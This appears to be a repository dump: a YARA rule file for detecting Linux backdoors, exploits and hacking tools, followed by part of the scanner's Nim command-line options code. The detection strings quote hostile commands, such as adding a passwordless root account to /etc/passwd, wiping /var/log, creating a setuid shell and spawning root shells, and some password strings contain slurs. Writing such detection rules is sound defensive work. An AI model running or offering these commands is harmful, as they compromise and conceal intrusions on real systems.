"Rhosts Authentication disabled, originating port %d not trusted." ascii 25 | $ = "kHgn4vlwonyP" fullword ascii 26 | condition: 27 | elf_magic and all of them 28 | } 29 | 30 | 31 | rule Infector_849b { 32 | // TODO analysis this again 33 | // meta: 34 | // md5 = "849b45fee92762d2b6ec31a11e1bcd76" 35 | // description = "A Nim infector malware" 36 | strings: 37 | $ = "akpcTVEZHXJe8ZbbQdHsSA" // Contains in strtab. Static binary only 38 | // 2 strings should show at runtime. 39 | $ = "/tmp/.host" 40 | $ = "The more you know... :)" 41 | condition: 42 | elf_exec and any of them 43 | } 44 | 45 | 46 | rule Agent_be4d { 47 | // meta: 48 | // md5 = "be4d3133afee0f4da853430339ba379f" 49 | strings: 50 | $ = "/tmp/.server.sig" fullword ascii 51 | $ = "touch /tmp/elevate" fullword ascii 52 | $ = "/c.php?authkey=" fullword ascii 53 | condition: 54 | elf_magic and any of them 55 | } 56 | 57 | 58 | rule Kowai_f06a { 59 | // meta: 60 | // md5 = "f06a780e653c680e2e4ddab4b397ddd2" 61 | strings: 62 | $ = "KOWAI-BAdAsV" fullword ascii 63 | $ = "KOWAI-d" fullword ascii 64 | condition: 65 | elf_magic and any of them 66 | } 67 | 68 | 69 | rule PortScan_Generic { 70 | // meta: 71 | // hash = "946689ba1b22d457be06d95731fcbcac" 72 | strings: 73 | $ = "[i] Scanning:" fullword ascii 74 | $ = "Usage: %s [c-block]" fullword ascii 75 | $ = "Portscan completed in" fullword ascii 76 | $ = "FOUND: %s with port %s open" fullword ascii 77 | $ = "%s:%s %s port: %s --> %s" fullword ascii 78 | condition: 79 | elf_magic and 2 of them 80 | } 81 | 82 | // rule Agent_2 83 | // { 84 | // meta: 85 | // author = "Nong Hoang Tu" 86 | // email = "dmknght@parrotsec.org" 87 | // vrt_report = "https://www.virustotal.com/gui/file/edbee3b92100cc9a6a8a3c1a5fc00212627560c5e36d29569d497613ea3e3c16" 88 | // // symbols: imp.getpid and imp.execvp 89 | // // strings (static) E: neither argv[0] nor $_ works. 90 | // // runtime strings /root/analyzed_bin and applet not found 91 | // // TODO need to test process scan 92 | // strings: 93 | // $1 = { 2F 72 6F 6F 74 2F 61 6E 61 6C 79 7A 65 64 5F 62 69 6E } // "/root/analyzed_bin" 94 | // $2 = { 61 70 70 6C 65 74 20 6E 6F 74 20 66 6F 75 6E 64 } // "applet not found" 95 | // condition: 96 | // (is_elf and hash.md5(elf.sections[16].offset, elf.sections[16].size) == "f3a96941a385fc9062269babdb5cbc02") or 97 | // all of them 98 | // } 99 | 100 | 101 | // rule Python_IRCBot 102 | // { 103 | // meta: 104 | // author = "Nong Hoang Tu" 105 | // email = "dmknght@parrotsec.org" 106 | // description = "Python IRCBot, Unknown Trojan malware. Likely compiled from Python scripts" 107 | // /* 108 | // Hash of .shstrtab 98c978a3d9f51f870ec65edc9a224bf8 matches as well but i don't know if all files compiled from python is detected 109 | // as wrong behavior 110 | // */ 111 | // condition: 112 | // is_elf and 113 | // for any i in (0 .. elf.number_of_sections - 1): ( 114 | // hash.md5(elf.sections[i].offset, elf.sections[i].size) == "196b7c3bdcb1a697395053b23b25abce" 115 | // ) 116 | // } 117 | 118 | // rule EzuriLoader_Generic 119 | // { 120 | // meta: 121 | // author = "Nong Hoang Tu" 122 | // email = "dmknght@parrotsec.org" 123 | // description = "Detect file by section hash for EzuriLoader's Golang binaries" 124 | // reference = "https://www.virustotal.com/gui/file/751014e0154d219dea8c2e999714c32fd98f817782588cd7af355d2488eb1c80" 125 | // hash = "751014e0154d219dea8c2e999714c32fd98f817782588cd7af355d2488eb1c80" 126 | // condition: 127 | // is_elf and hash.md5(elf.sections[3].offset, elf.sections[3].size) == "dfd54f22d3a3bb072d34c424aa554500" 128 | // } 129 | 130 | 131 | rule Meter_Stageless { 132 | // meta: 133 | // description = "Metasploit's stageless payload (no encoders)" 134 | strings: 135 | $ = "MSF_LICENSE" fullword ascii 136 | $ = "mettle_get_procmgr" fullword ascii 137 | condition: 138 | elf_magic and any of them 139 | } 140 | 141 | 142 | rule Meter_RevTCP { 143 | // meta: 144 | // description = "Metasploit staged payload (no encoders)" 145 | /* 146 | The other rule to detect rev tcp could be code block (x86 and x64 has different opcode) 147 | For example, the x64 rule is like this: {5e 6a ?? 5a 0f 05 48 85 c0 78} 148 | https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/linux/reverse_tcp_x86.rb 149 | https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/linux/x64/reverse_tcp_x64.rb 150 | */ 151 | strings: 152 | $ = "AYPj)X" fullword ascii 153 | $ = "Wj#Xj" fullword ascii 154 | condition: 155 | elf_magic and all of them 156 | } 157 | 158 | 159 | rule Excedoor_Generic { 160 | // meta: 161 | // description = "Linux Excedoor" 162 | // refrence = "https://otx.alienvault.com/indicator/file/6138054a7de11c23b5c26755d7548c4096fa547cbb964ac78ef0fbe59d16c2da" 163 | // hash = "3d06f85ac19dc1a6f678aa4e28ce5c42" 164 | strings: 165 | $ = "/bin/sh" fullword ascii 166 | $ = "rm -rf /var/log/*" fullword ascii 167 | $ = "Brand new TCP root shell!" fullword ascii 168 | condition: 169 | elf_exec and all of them 170 | } 171 | 172 | rule Explodor_Generic { 173 | // meta: 174 | // description = "Generic rule for a backdoor that spawns shell and shellcode. Shared string with explodor" 175 | // url = "https://otx.alienvault.com/indicator/file/fb5eba7a927ce0513e11cde7a496009453f2d57b72c73fcbe04e9a527a3eabac" 176 | strings: 177 | $ = "Unable to write shellcode" fullword ascii 178 | $ = "Shellcode placed at" fullword ascii 179 | $ = "Now wait for suid shell" fullword ascii 180 | $ = "Unable to spawn shell" fullword ascii 181 | condition: 182 | elf_exec and any of them 183 | } 184 | 185 | rule EarthWorm_Generic { 186 | // meta: 187 | // description = "Earthworm backdoor" 188 | strings: 189 | $ = "rootkiter" fullword ascii nocase 190 | $ = "darksn0w" fullword ascii 191 | $ = "zhuanjia" fullword ascii 192 | $ = "syc4mor3" fullword ascii 193 | $ = "Wooyaa" fullword ascii 194 | $ = "init cmd_server_for_rc here" fullword ascii 195 | condition: 196 | elf_exec and 3 of them 197 | } 198 | 199 | 200 | rule Backdoor_Generic { 201 | strings: 202 | $ = "connecting to backdoor" fullword ascii nocase 203 | $ = "backdoor installed" fullword ascii 204 | condition: 205 | elf_magic and any of them 206 | } 207 | 208 | rule SSHDoor_Generic { 209 | strings: 210 | $ = "backdoor.h" fullword ascii 211 | $ = "backdoor_active" fullword ascii 212 | condition: 213 | elf_magic and 214 | ( 215 | for 1 f_dynsym in elf.symtab: 216 | ( 217 | f_dynsym.name == "backdoor_active" and 218 | f_dynsym.type == elf.STT_OBJECT 219 | ) or 220 | all of them 221 | ) 222 | } 223 | 224 | 225 | rule Pupy_Generic { 226 | strings: 227 | $ = "PUPY_CONFIG_COMES_HERE" fullword ascii 228 | condition: 229 | elf_magic and all of them 230 | } 231 | 232 | 233 | rule PingPull_Generic { 234 | // https://unit42.paloaltonetworks.com/alloy-taurus/ 235 | // sha256 cb0922d8b130504bf9a3078743294791201789c5a3d7bc0369afd096ea15f0ae 236 | strings: 237 | $ = "sbd:2345:respawn:%s -f\" >> /etc/inittab" fullword ascii 238 | condition: 239 | elf_magic and all of them 240 | } 241 | 242 | 243 | rule Fhsec_Generic { 244 | // https://www.reversinglabs.com/blog/when-python-bytecode-bites-back-who-checks-the-contents-of-compiled-python-files 245 | strings: 246 | $ = "__crontab_default.txt" ascii 247 | $ = "__user.txt" ascii 248 | $ = "__all.txt" ascii 249 | condition: 250 | pyc_magic and all of them 251 | } 252 | 253 | // TODO hunt from https://www.hybrid-analysis.com/yara-search/results/e0f6fc9e4611bbff2192b250951d22a73180966f58c2c38e98d48f988246a2e5 254 | // hunted strings: hlLjztqZ and npxXoudifFeEgGaACScs format of some libs 255 | 256 | // rule EkoBackdoor_Generic { 257 | // meta: 258 | // author = "Nong Hoang Tu" 259 | // email = "dmknght@parrotsec.org" 260 | // description = "Linux EkoBackdoor" 261 | // date = "12/11/2021" 262 | // refrence = "https://otx.alienvault.com/indicator/file/74d29efbdf7df9bb7e51fad039e0e40455795056ec643610b38853c602a4357c" 263 | // target = "File, memory" 264 | // strings: 265 | // $spec_1 = "Backdoor instalado! - Have a nice hack ;)" 266 | // $spec_2 = "Coded by ca0s / Ezkracho Team >" 267 | // $spec_3 = "EkoBackdoor v1.1 by ca0s" 268 | // $spec_4 = "ekorulez" 269 | // $spec_5 = "stream tcp nowait root /bin/sh sh -i" 270 | // $cmd_2 = "cp /bin/sh /tmp/sh" 271 | // $cmd_3 = "chmod 4711 /tmp/sh" 272 | // $cmd_4 = "./ekobdoor" 273 | // condition: 274 | // any of ($spec_*) or all of ($cmd_*) 275 | // } 276 | 277 | 278 | // rule Homeunix_Generic { 279 | // meta: 280 | // author = "Nong Hoang Tu" 281 | // email = "dmknght@parrotsec.org" 282 | // description = "Linux Homeunix" 283 | // date = "12/11/2021" 284 | // refrence = "https://otx.alienvault.com/indicator/file/ced749fecb0f9dde9355ee29007ea8a20de277d39ebcb5dda61cd290cd5dbc02" 285 | // target = "File, memory" 286 | // strings: 287 | // $s1 = "unixforce::0:0:unixforce:/root:/bin/bash" 288 | // $s2 = "/etc/passwd" 289 | // condition: 290 | // all of them 291 | // } 292 | 293 | // rule Fysbis_364f { 294 | // meta: 295 | // author = "Nong Hoang Tu" 296 | // email = "dmknght@parrotsec.org" 297 | // description = "Linux Fysbis" 298 | // date = "12/11/2021" 299 | // refrence = "https://otx.alienvault.com/indicator/file/ab6f39f913a925cf4e9fa7717db0e3eb38b5ae61e057a2e76043b539f3c0dc91" 300 | // reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" 301 | // reference = "https://github.com/Yara-Rules/rules/blob/master/malware/APT_Sofacy_Fysbis.yar" 302 | // reference = "https://www.hybrid-analysis.com/sample/8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb" 303 | // target = "File, memory" 304 | // hash = "364ff454dcf00420cff13a57bcb78467" 305 | // strings: 306 | // $addr_1 = "azureon-line.com" nocase 307 | // $path_1 = ".config/dbus-notifier" // full path: .config/dbus-notifier/dbus-inotifier 308 | // $path_2 = ".local/cva-ssys" 309 | // $path_3 = "~/.config/autostart" 310 | // $cmd_1 = "rm -f ~/.config/autostart/" 311 | // $cmd_2 = "rm -f /usr/lib/systemd/system/" 312 | // $cmd_3 = "mkdir /usr/lib/cva-ssys" 313 | // $cmd_4 = "mkdir ~/.config/autostart" // Could be false positive 314 | // // Generated when malware is executed as sudo. This is the systemd unit 315 | // $entry_1 = "ExecStart=/bin/rsyncd" 316 | // $entry_2 = "Description= synchronize and backup service" 317 | // condition: 318 | // /* 319 | // This rule works for dump file from gcore. It doesn't work for memory scan 320 | // for any i in (0 .. elf.number_of_segments): ( 321 | // 4 of ($path_*, $cmd_*, $addr_*) in (elf.segments[i].offset .. elf.segments[i].offset + elf.segments[i].file_size) 322 | // ) 323 | // */ 324 | // (is_elf and for any i in (0 .. elf.number_of_sections - 1): ( 325 | // elf.sections[i].name == ".rodata" and 326 | // 4 of ($path_*, $cmd_*, $addr_*) in (elf.sections[i].offset .. elf.sections[i].offset + elf.sections[i].size) 327 | // )) or 328 | // (4 of ($path_*, $cmd_*, $addr_*) in (0x418d00 .. 0x41a4ff)) or // Memory scan 329 | // ($path_1 and xdg_desktop_entry) or // desktop file, startup as user 330 | // ($entry_1 and $entry_2) // systemd unit, startup as root 331 | // } 332 | 333 | // rule Gummo_Generic { 334 | // meta: 335 | // author = "Nong Hoang Tu" 336 | // email = "dmknght@parrotsec.org" 337 | // description = "Linux Gummo" 338 | // date = "12/11/2021" 339 | // refrence = "https://otx.alienvault.com/indicator/file/67b9ddd4a21a78ff1a4adbf4b2fb70d279c79494d34e6e2e12673eed134f0d5f" 340 | // target = "File, memory" 341 | // strings: 342 | // $ = "echo rewt::0:0::/:/bin/sh>>/etc/passwd;" 343 | // condition: 344 | // all of them 345 | // } 346 | 347 | // rule KBD_Generic { 348 | // meta: 349 | // author = "Nong Hoang Tu" 350 | // email = "dmknght@parrotsec.org" 351 | // description = "Linux KBD" 352 | // date = "12/11/2021" 353 | // refrence = "https://otx.alienvault.com/indicator/file/3aba59e8bbaecf065d05b7a74655668484bb16fdec589b8e7d169e4adf65d840" 354 | // target = "File, memory" 355 | // strings: 356 | // $1 = "Your Kung-Fu is good." 357 | // $2 = "orig_stat" 358 | // $3 = "bd_getuid" 359 | // $4 = "orig_getuid" 360 | // condition: 361 | // all of them 362 | // } 363 | 364 | 365 | // rule BashDoor_Generic { 366 | // meta: 367 | // author = "Nong Hoang Tu" 368 | // email = "dmknght@parrotsec.org" 369 | // date = "13/11/2021" 370 | // target = "File, memory" 371 | // strings: 372 | // $1 = "SeCshell" nocase 373 | // $2 = "Update and backdoor" 374 | // $3 = "bash" 375 | // $4 = "nU.ajj1cF2Qk6" 376 | // condition: 377 | // 2 of them 378 | // } 379 | 380 | // rule MushDoor_Generic { 381 | // meta: 382 | // author = "Nong Hoang Tu" 383 | // email = "dmknght@parrotsec.org" 384 | // date = "13/11/2021" 385 | // target = "File, memory" 386 | // strings: 387 | // $1 = "mushd00r" 388 | // $2 = "username to hide" 389 | // condition: 390 | // all of them 391 | // } 392 | 393 | // rule IcmpBackdoor_Generic { 394 | // meta: 395 | // author = "Nong Hoang Tu" 396 | // email = "dmknght@parrotsec.org" 397 | // date = "17/11/2021" 398 | // strings: 399 | // $1 = "icmp-backdoor" 400 | // $2 = "you need to be root!" 401 | // condition: 402 | // all of them 403 | // } 404 | 405 | // rule Lyceum_Generic { 406 | // meta: 407 | // author = "Nong Hoang Tu" 408 | // email = "dmknght@parrotsec.org" 409 | // date = "17/11/2021" 410 | // strings: 411 | // $ = "d:D:s:S:l:p:P:u:x:i:b:I" 412 | // $ = "icmp moonbouce backdoor" 413 | // $ = "bi-spoofed icmp backdoor" 414 | // $ = "spoof all packets" 415 | // condition: 416 | // any of them 417 | // } 418 | 419 | // rule Silencer_Generic { 420 | // meta: 421 | // author = "Nong Hoang Tu" 422 | // email = "dmknght@parrotsec.org" 423 | // date = "17/11/2021" 424 | // strings: 425 | // $1 = /backdoor[d]_BEGIN/ 426 | // $2 = "ready for injection.." 427 | // $3 = "0x4553-Silencer" 428 | // $4 = "by BrainStorm and Ares" 429 | // condition: 430 | // any of them 431 | // } 432 | 433 | // rule Sneaky_Generic { 434 | // meta: 435 | // author = "Nong Hoang Tu" 436 | // email = "dmknght@parrotsec.org" 437 | // date = "17/11/2021" 438 | // strings: 439 | // $1 = "i:l:t:s:S:d:D:" 440 | // $2 = "[Sneaky@%s]#" 441 | // $3 = "Phish@mindless.com" 442 | // condition: 443 | // any of them 444 | // } 445 | 446 | // rule Galore_Generic { 447 | // meta: 448 | // author = "Nong Hoang Tu" 449 | // email = "dmknght@parrotsec.org" 450 | // date = "17/11/2021" 451 | // strings: 452 | // $1 = "Backdoor Galore By NTFX" 453 | // condition: 454 | // any of them 455 | // } 456 | 457 | // rule BlueDragon_sfe { 458 | // meta: 459 | // author = "Nong Hoang Tu" 460 | // email = "dmknght@parrotsec.org" 461 | // date = "17/11/2021" 462 | // strings: 463 | // $1 = "tHE rECIdjVO" 464 | // $2 = "" 465 | // condition: 466 | // any of them 467 | // } 468 | 469 | // rule Rrs_Generic { 470 | // meta: 471 | // author = "Nong Hoang Tu" 472 | // email = "dmknght@parrotsec.org" 473 | // date = "17/11/2021" 474 | // strings: 475 | // $ = "hlp:b:r:R:t:Dqk:x:sS:P:c:v:C:e:m0LV" 476 | // condition: 477 | // any of them 478 | // } 479 | 480 | // rule Necro_Generic { 481 | // meta: 482 | // author = "Nong Hoang Tu" 483 | // email = "dmknght@parrotsec.org" 484 | // date = "17/11/2021" 485 | // strings: 486 | // $ = "N3Cr0m0rPh" 487 | // condition: 488 | // any of them 489 | // } 490 | 491 | // rule PunBB_Generic { 492 | // meta: 493 | // author = "Nong Hoang Tu" 494 | // email = "dmknght@parrotsec.org" 495 | // date = "17/11/2021" 496 | // strings: 497 | // $ = "change_email SQL injection exploit" 498 | // $ = "PunBB" 499 | // condition: 500 | // all of them 501 | // } 502 | 503 | rule Keylog_Xspy { 504 | // meta: 505 | // descriptions = "Rule to detect X11 Keylogger" 506 | // Yara failed to detect running process because it can't load elf information such as elf.type 507 | strings: 508 | $ = "DISPLAY" fullword ascii 509 | $ = "for snoopng" fullword ascii 510 | condition: 511 | elf_magic and all of them 512 | } 513 | 514 | 515 | rule Exploit_DirtyCow { 516 | // meta: 517 | // hash = "0b22cdc1b1b1f944e4ca8fced2e234d14aeeef830970e8ae7491cbdcb3e11460" 518 | // reference = "https://www.virustotal.com/gui/file/0b22cdc1b1b1f944e4ca8fced2e234d14aeeef830970e8ae7491cbdcb3e11460" 519 | strings: 520 | $ = "/tmp/passwd.bak" ascii 521 | $ = "madvise %d" fullword ascii 522 | $ = "ptrace %d" fullword ascii 523 | $ = "DON'T FORGET TO RESTORE!" ascii 524 | condition: 525 | elf.type == elf.ET_EXEC and 526 | ( 527 | for 6 f_dynsym in elf.dynsym: 528 | ( 529 | for any f_name in ("crypt", "madvise", "ptrace", "waitpid", "getpass", "pthread_create"): 530 | ( 531 | f_dynsym.type == elf.STT_FUNC and 532 | f_dynsym.name == f_name 533 | ) 534 | ) or 535 | all of them 536 | ) 537 | } 538 | 539 | // TODO 1384790107a5f200cab9593a39d1c80136762b58d22d9b3f081c91d99e5d0376 (upx) 540 | // hash unpacked: afb6ec634639a68624c052d083bbe28a0076cd3ab3d9a276c4b90cb4163b8317 golang malware 541 | // TODO 139b09543494ead859b857961d230a39b9f4fc730f81cf8445b6d83bacf67f3d: malware downloader rule34 python compiled file 542 | 543 | rule TinyShell { 544 | // meta: 545 | // description = "Open-source TinyShell backdoor" 546 | // reference = "https://github.com/creaktive/tsh" 547 | // execl, setsid is in imports, type: func 548 | strings: 549 | $ = "s:p:c::" // getopt strings 550 | $ = "Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]" // Usage 551 | condition: 552 | elf_magic and all of them 553 | } 554 | 555 | 556 | // rule STEELCORGI_packed { 557 | // meta: 558 | // description = "Yara Rule for packed ELF backdoor of UNC1945" 559 | // author = "Yoroi Malware Zlab" 560 | // last_updated = "2020_12_21" 561 | // tlp = "white" 562 | // category = "informational" 563 | // reference = "https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/" 564 | // strings: 565 | // $s1 = {4? 88 47 3c c1 6c ?4 34 08 8a 54 ?? ?? 4? 88 57 3d c1 6c} 566 | // $s2 = {0f b6 5? ?? 0f b6 4? ?? 4? c1 e2 18 4? c1 e0 10 4? } 567 | // $s3 = {8a 03 84 c0 74 ?? 3c 3d 75 ?? 3c 3d 75 ?? c6 03 00 4? 8b 7d 00} 568 | // $s4 = {01 c6 89 44 ?? ?? 8b 44 ?? ?? 31 f2 89 74 ?? ?? c1} 569 | // $s5 = { 4? 89 d8 4? 31 f2 4? c1 e0 13 4? 01 d7 4? } 570 | // condition: 571 | // elf_magic and 3 of them 572 | // } 573 | 574 | 575 | // rule STEELCORGI_generic{ 576 | // meta: 577 | // description = "Yara Rule for unpacked ELF backdoor of UNC1945" 578 | // author = "Yoroi Malware Zlab" 579 | // last_updated = "2020_12_21" 580 | // tlp = "white" 581 | // category = "informational" 582 | // reference = "https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/" 583 | // strings: 584 | // $s1 = "MCARC" 585 | // $s2 = "833fc0088ea41bc3331db60ae2.debug" 586 | // $s3 = "PORA1022" 587 | // $s4 = "server" 588 | // $s5 = "test" 589 | // $s6 = "no ejecutar git-update-server-info" 590 | // $s7 = "dlopen" 591 | // $s8 = "dlsym" 592 | // $s9 = "5d5c6da19e62263f67ca63f8bedeb6.debug" 593 | // $s10 = {72 69 6E 74 20 22 5B 56 5D 20 41 74 74 65 6D 70 74 69 6E 67 20 74 6F 20 67 65 74 20 4F 53 20 69 6E 66 6F 20 77 69 74 68 20 63 6F 6D 6D 61 6E 64 3A 20 24 63 6F 6D 6D 61 6E 64 5C 6E 22 20 69 66 20 24 76 65 72 62 6F 73 65 3B} 594 | 595 | // condition: 596 | // elf_magic and 597 | // ( 598 | // for any i in (0 .. elf.number_of_sections): 599 | // ( 600 | // all of them in (elf.sections[i].offset .. elf.sections[i].offset + elf.sections[i].size) and #s4 > 50 and #s5 > 20 601 | // ) or 602 | // for any i in (0 .. elf.number_of_segments): 603 | // ( 604 | // all of them in (elf.segments[i].virtual_address .. elf.segments[i].virtual_address + elf.segments[i].memory_size) and #s4 > 50 and #s5 > 20 605 | // ) 606 | // ) 607 | // } 608 | 609 | rule Gasit_ada7 { 610 | // meta: 611 | // hash = "946689ba1b22d457be06d95731fcbcac" 612 | // url = "https://www.hybrid-analysis.com/sample/f4588a114fa72bb3aa7e20cecdac73e3897911605bcc2ec1e894a87bb99c3ff5/61b1afd8d77a530aae03b1fe" 613 | // url = "https://www.hybrid-analysis.com/sample/bcc096e218a3dd87c2bb3fab2d31a19121e8614983bd22b7d6741e5d27e4c119/612f215531b5af1d930f1d6c" 614 | strings: 615 | $ = "halucin0g3n" fullword ascii 616 | $ = "root@haiduc" fullword ascii 617 | $ = "USER: %s PASS: %s HOST: %s PORT: %s --> %s" fullword ascii 618 | condition: 619 | elf_magic and any of them 620 | } 621 | 622 | // rule Root_Shell { 623 | // meta: 624 | // author = "Nong Hoang Tu" 625 | // email = "dmknght@parrotsec.org" 626 | // date = "17/11/2021" 627 | // strings: 628 | // $1 = "r00t shell" 629 | // condition: 630 | // is_elf and $1 631 | // } 632 | 633 | 634 | // rule Blackhole_e1e0 { 635 | // meta: 636 | // author = "Nong Hoang Tu" 637 | // email = "dmknght@parrotsec.org" 638 | // hash = "e1e03364e6e2360927470ad1b4ba7ea1" 639 | // strings: 640 | // $1 = "This fine tool coded by Bronc Buster" 641 | // $2 = "I_did_not_change_HIDE" 642 | // $3 = "/etc/.pwd.lock" 643 | // condition: 644 | // for any i in (0 .. elf.number_of_segments): ( 645 | // hash.md5(elf.segments[i].offset, elf.segments[i].memory_size) == "2ee12c5c21c794cbedfc274751f8218d" 646 | // ) or 647 | // all of them 648 | // } 649 | 650 | 651 | // rule Koka_27d3 { 652 | // meta: 653 | // author = "Nong Hoang Tu" 654 | // email = "dmknght@parrotsec.org" 655 | // hash = "27d39d44fc547e97f4e1eb885f00d60e" 656 | // strings: 657 | // $1 = { 68 d6 86 04 08 e8 83 fe ff ff} // execve("/bin/sh") 658 | // $2 = "/dev/mounnt" 659 | // $3 = "cocacola" 660 | // condition: 661 | // all of them 662 | // } 663 | 664 | 665 | // rule Orbit_6704 { 666 | // meta: 667 | // author = "Nong Hoang Tu" 668 | // email = "dmknght@parrotsec.org" 669 | // hash = "67048a69a007c37f8be5d01a95f6a026" 670 | // strings: 671 | // $1 = "sniff_ssh_session" 672 | // $2 = "getpwnam_r" 673 | // $4 = "chown -R 920366:920366" 674 | // $5 = "libntpVnQE6mk" 675 | // $6 = "os.execv(\"/bin/bash\", (\"/bin/bash\", \"-i\"))" base64 676 | // $7 = "os.setreuid(0,0)" base64 677 | // $8 = "lib0UZ0LfvWZ.so" 678 | // $9 = "/dev/shm/ldx/.l" 679 | // $10 = "libntpVnQE6mk" 680 | // condition: 681 | // 5 of them 682 | // } 683 | 684 | 685 | rule Meter_OleFile { 686 | // meta: 687 | // descriptions = "Generic signature for exploit/multi/misc/openoffice_document_macro" 688 | strings: 689 | $ = "Sub Exploit" fullword ascii 690 | $ = "python -c" fullword ascii 691 | $ = "exec(r.read())" fullword ascii 692 | condition: 693 | xml_magic and all of them 694 | } 695 | 696 | 697 | rule Lightning_Downloader { 698 | // meta: 699 | // description = "Downloader of lightning framework" 700 | // md5 = "204728fb1878b9f4f83c110e7cf6b5b5" 701 | // sha256 = "48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7" 702 | // url = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/" 703 | strings: 704 | $ = "kkdmflush" fullword ascii 705 | $ = "sleep 60 && ./%s &" fullword ascii 706 | $ = "TCPvfA" ascii 707 | $ = "UH-`0a" fullword ascii 708 | condition: 709 | elf_exec and 2 of them 710 | } 711 | 712 | 713 | rule Exploit_NsSploit { 714 | // meta: 715 | // url = "https://www.hybrid-analysis.com/sample/6ffbe23565bbd34805d3dc4364110bb9d6d733107f8f02d0cfd38859ab013cf8" 716 | strings: 717 | $ = "ofs-lib.so" fullword ascii 718 | $ = "/tmp/ns_sploit" fullword ascii 719 | $ = "cve_2015_1328_binary.c" fullword ascii 720 | $ = "e10adc3949ba59abbe56e057f20f883e" fullword ascii 721 | condition: 722 | elf_exec and 2 of them 723 | } 724 | 725 | rule Hacktool_LoginBrute { 726 | // meta: 727 | // descriptions = "Some uniq strings used in password dictionary" 728 | strings: 729 | $ = "p@ck3tf3nc3" fullword ascii 730 | $ = "7ujMko0" fullword ascii 731 | $ = "s4beBsEQhd" fullword ascii 732 | $ = "ROOT500" fullword ascii 733 | $ = "LSiuY7pOmZG2s" fullword ascii 734 | $ = "gwevrk7f@qwSX$fd" fullword ascii 735 | $ = "huigu309" fullword ascii 736 | $ = "taZz@23495859" fullword ascii 737 | $ = "hdipc%No" fullword ascii 738 | $ = "DFhxdhdf" fullword ascii 739 | $ = "XDzdfxzf" fullword ascii 740 | $ = "UYyuyioy" fullword ascii 741 | $ = "JuYfouyf87" fullword ascii 742 | $ = "NiGGeR69xd" fullword ascii 743 | $ = "NiGGeRD0nks69" fullword ascii 744 | $ = "TY2gD6MZvKc7KU6r" fullword ascii 745 | $ = "A023UU4U24UIU" fullword ascii 746 | $ = "scanJosho" fullword ascii 747 | $ = "S2fGqNFs" fullword ascii 748 | $ = "admin:pornhub" base64 749 | condition: 750 | elf_magic and any of them 751 | } 752 | 753 | 754 | rule Ramen_0aa0 { 755 | strings: 756 | $ = {68 50 86 04 08 e8 6f fe ff ff} 757 | $ = "65K.ghcxLunpw" 758 | $ = "/usr/lib/ldliblogin.so" 759 | condition: 760 | elf_magic and any of them 761 | } 762 | 763 | 764 | rule FDMgr_c75d2 { 765 | /* 766 | https://securelist.com/backdoored-free-download-manager-linux-malware/110465/?ref=news.itsfoss.com 767 | https://bazaar.abuse.ch/download/2214c7a0256f07ce7b7aab8f61ef9cbaff10a456c8b9f2a97d8f713abd660349/ 768 | Original file is packed with UPX 769 | */ 770 | strings: 771 | $addr = "u.fdmpkg.org" fullword ascii 772 | $path_1 = "tmpd819is13" fullword ascii 773 | $path_2 = "tmpA81e4gVs" fullword ascii 774 | $str_1 = "0000000000000000DNSCACHEIP" fullword ascii 775 | condition: 776 | elf_magic and ($addr or $str_1 or any of ($path_*)) 777 | } 778 | 779 | 780 | // rule Elknot_Generic { 781 | // // Yara >= 4.4 only 782 | // // File only 783 | // condition: 784 | // elf.import_md5() == "93dbbcaed0a0c03b48bc6ca2c290d5b3" 785 | // } 786 | 787 | // rule NeoLink_Generic { 788 | // strings: 789 | // $header = "" 790 | // $email = "bamby002a@yahoo.com" base64 791 | // $irc = "irc.neolink.org" fullword 792 | // $title = "PHP SHELL" fullword 793 | // condition: 794 | // $header and 2 of them 795 | // } 796 | 797 | 798 | // rule Expl_2010_RLIMIT_NPROC { 799 | // strings: 800 | // $ = "CVE-2010-EASY Android local root exploit" 801 | // $ = "checking NPROC limit" 802 | // condition: 803 | // all of them 804 | // } 805 | -------------------------------------------------------------------------------- /src/cli/cli_opts.nim: -------------------------------------------------------------------------------- 1 | import os 2 | import strutils 3 | import sequtils 4 | import .. / engine / engine_cores 5 | import helps 6 | 7 | 8 | proc cli_opt_find_default_ydb(list_paths: openArray[string]): string = 9 | for path in list_paths: 10 | if fileExists(path): 11 | return path 12 | 13 | 14 | proc cliopts_create_default*(options: var ScanOptions) = 15 | options.is_clam_debug = false 16 | options.use_clam_db = false 17 | options.scan_all_procs = false 18 | options.scan_function_hook = false 19 | options.db_path_clamav = "/var/lib/clamav/" 20 | let 21 | db_path_normal = [ 22 | "/usr/share/rkcheck/databases/signatures.ydb", 23 | "databases/signatures.ydb" 24 | ] 25 | 26 | options.db_path_yara = cli_opt_find_default_ydb(db_path_normal) 27 | 28 | 29 | proc cliopts_set_db_path_clamav(options: var ScanOptions, i: var int, total_param: int) = 30 | if i + 1 > total_param: 31 | raise newException(ValueError, "Missing value for ClamAV's database path") 32 | 33 | let 34 | paramValue = paramStr(i + 1) 35 | 36 | if not fileExists(paramValue) and not dirExists(paramValue): 37 | raise newException(OSError, "Invalid ClamAV's database path " & paramValue) 38 | 39 | options.db_path_clamav = paramValue 40 | # Force program to use ClamAV Signature anyway 41 | options.use_clam_db = true 42 | i += 1 43 | 44 | 45 | proc cliopts_set_db_path_yara(options: var ScanOptions, i: var int, total_param: int) = 46 | if i + 1 > total_param: 47 | raise newException(ValueError, "Missing value for Yara's database path") 48 | 49 | let 50 | paramValue = paramStr(i + 1) 51 | 52 | if not fileExists(paramValue) and not dirExists(paramValue): 53 | # File doesn't exist 54 | raise newException(OSError, "Invalid Yara's database file path " & paramValue) 55 | 56 | options.db_path_yara = paramValue 57 | i += 1 58 | 59 | 60 | proc cliopts_set_list_files_or_dirs(list_path_objects: var seq[string], i: var int, total_param: int) = 61 | if i + 1 > total_param: 62 | # Check if flag has no value behind it, raise value error 63 | raise newException(ValueError, "Missing values for " & paramStr(i)) 64 | else: 65 | # Move offset by 1 and start getting all values 66 | i += 1 67 | 68 | while i <= total_param: 69 | let 70 | currentParam = paramStr(i) 71 | 72 | if currentParam.startsWith("-"): 73 | list_path_objects = deduplicate(list_path_objects) 74 | i -= 